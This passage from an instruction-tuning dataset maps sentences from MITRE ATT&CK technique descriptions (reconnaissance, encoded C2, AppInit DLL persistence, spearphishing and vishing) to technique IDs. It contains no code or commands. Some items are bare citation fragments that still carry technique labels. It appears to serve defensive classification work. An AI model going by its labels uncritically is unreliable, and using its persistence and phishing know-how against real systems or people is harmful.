Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search)", "output": "T1591", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) ### Response: T1591."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "output": "T1591", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). ### Response: T1591."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about identities and roles within the victim organization that can be used during targeting.", "output": "T1591.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. ### Response: T1591.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.", "output": "T1591.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to. ### Response: T1591.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1591.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1591.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)", "output": "T1591.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) ### Response: T1591.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", "output": "T1591.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). ### Response: T1591.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect.", "output": "T1132.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. ### Response: T1132.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications.", "output": "T1132.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. ### Response: T1132.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding)(Citation: Wikipedia Character Encoding)", "output": "T1132.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding)(Citation: Wikipedia Character Encoding) ### Response: T1132.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some data encoding systems may also result in data compression, such as gzip.", "output": "T1132.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some data encoding systems may also result in data compression, such as gzip. ### Response: T1132.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect.", "output": "T1132.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. ### Response: T1132.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications.", "output": "T1132.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. ### Response: T1132.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding)", "output": "T1132.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) ### Response: T1132.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may encode data to make the content of command and control traffic more difficult to detect.", "output": "T1132", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may encode data to make the content of command and control traffic more difficult to detect. ### Response: T1132."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Command and control (C2) information can be encoded using a standard data encoding system.", "output": "T1132", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Command and control (C2) information can be encoded using a standard data encoding system. ### Response: T1132."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding)", "output": "T1132", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) ### Response: T1132."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some data encoding systems may also result in data compression, such as gzip.", "output": "T1132", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some data encoding systems may also result in data compression, such as gzip. ### Response: T1132."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft DART Case Report 001)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft DART Case Report 001) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware Persistence on OS X)(Citation: amnesia malware)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware Persistence on OS X)(Citation: amnesia malware) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.", "output": "T1546.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. ### Response: T1546.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code> value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll.", "output": "T1546.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code> value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. ### Response: T1546.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In practice this is nearly every program, since user32.dll is a very common library.", "output": "T1546.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In practice this is nearly every program, since user32.dll is a very common library. ### Response: T1546.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.", "output": "T1546.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Elastic Process Injection July 2017)\n\nSimilar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. ### Response: T1546.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: AppInit Registry)", "output": "T1546.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: AppInit Registry) ### Response: T1546.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity.", "output": "T1546.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity. ### Response: T1546.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled.", "output": "T1546.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. ### Response: T1546.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: AppInit Secure Boot)", "output": "T1546.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: AppInit Secure Boot) ### Response: T1546.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use voice communications to elicit sensitive information that can be used during targeting.", "output": "T1598.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use voice communications to elicit sensitive information that can be used during targeting. ### Response: T1598.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information.", "output": "T1598.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. ### Response: T1598.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.", "output": "T1598.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient. ### Response: T1598.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of phishing are electronically delivered social engineering.", "output": "T1598.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of phishing are electronically delivered social engineering. ### Response: T1598.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this scenario, adversaries use phone calls to elicit sensitive information from victims.", "output": "T1598.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this scenario, adversaries use phone calls to elicit sensitive information from victims. ### Response: T1598.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Known as voice phishing (or \"vishing\"), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls.", "output": "T1598.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Known as voice phishing (or \"vishing\"), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls. ### Response: T1598.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff.(Citation: BOA Telephone Scams)\n\nVictims may also receive phishing messages that direct them to call a phone number (\"callback phishing\") where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)", "output": "T1598.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff.(Citation: BOA Telephone Scams)\n\nVictims may also receive phishing messages that direct them to call a phone number (\"callback phishing\") where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing) ### Response: T1598.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1598.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1598.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to tailor pretexts to be even more persuasive and believable for the victim.", "output": "T1598.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to tailor pretexts to be even more persuasive and believable for the victim. ### Response: T1598.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting.", "output": "T1598.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. ### Response: T1598.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information.", "output": "T1598.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. ### Response: T1598.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.", "output": "T1598.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. ### Response: T1598.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry.", "output": "T1598.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. ### Response: T1598.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing)", "output": "T1598.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) ### Response: T1598.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These services are more likely to have a less-strict security policy than an enterprise.", "output": "T1598.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These services are more likely to have a less-strict security policy than an enterprise. ### Response: T1598.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way.", "output": "T1598.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. ### Response: T1598.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create fake social media accounts and message employees for potential job opportunities.", "output": "T1598.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create fake social media accounts and message employees for potential job opportunities. ### Response: T1598.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Doing so allows a plausible reason for asking about services, policies, and information about their environment.", "output": "T1598.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Doing so allows a plausible reason for asking about services, policies, and information about their environment. ### Response: T1598.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", "output": "T1598.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. ### Response: T1598.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting.", "output": "T1598.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. ### Response: T1598.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information.", "output": "T1598.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. ### Response: T1598.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.", "output": "T1598.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. ### Response: T1598.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry.", "output": "T1598.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. ### Response: T1598.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery)", "output": "T1598.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) ### Response: T1598.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate.", "output": "T1598.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. ### Response: T1598.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", "output": "T1598.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. ### Response: T1598.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting.", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information.", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. ### Response: T1598.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.", "output": "T1598.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. ### Response: 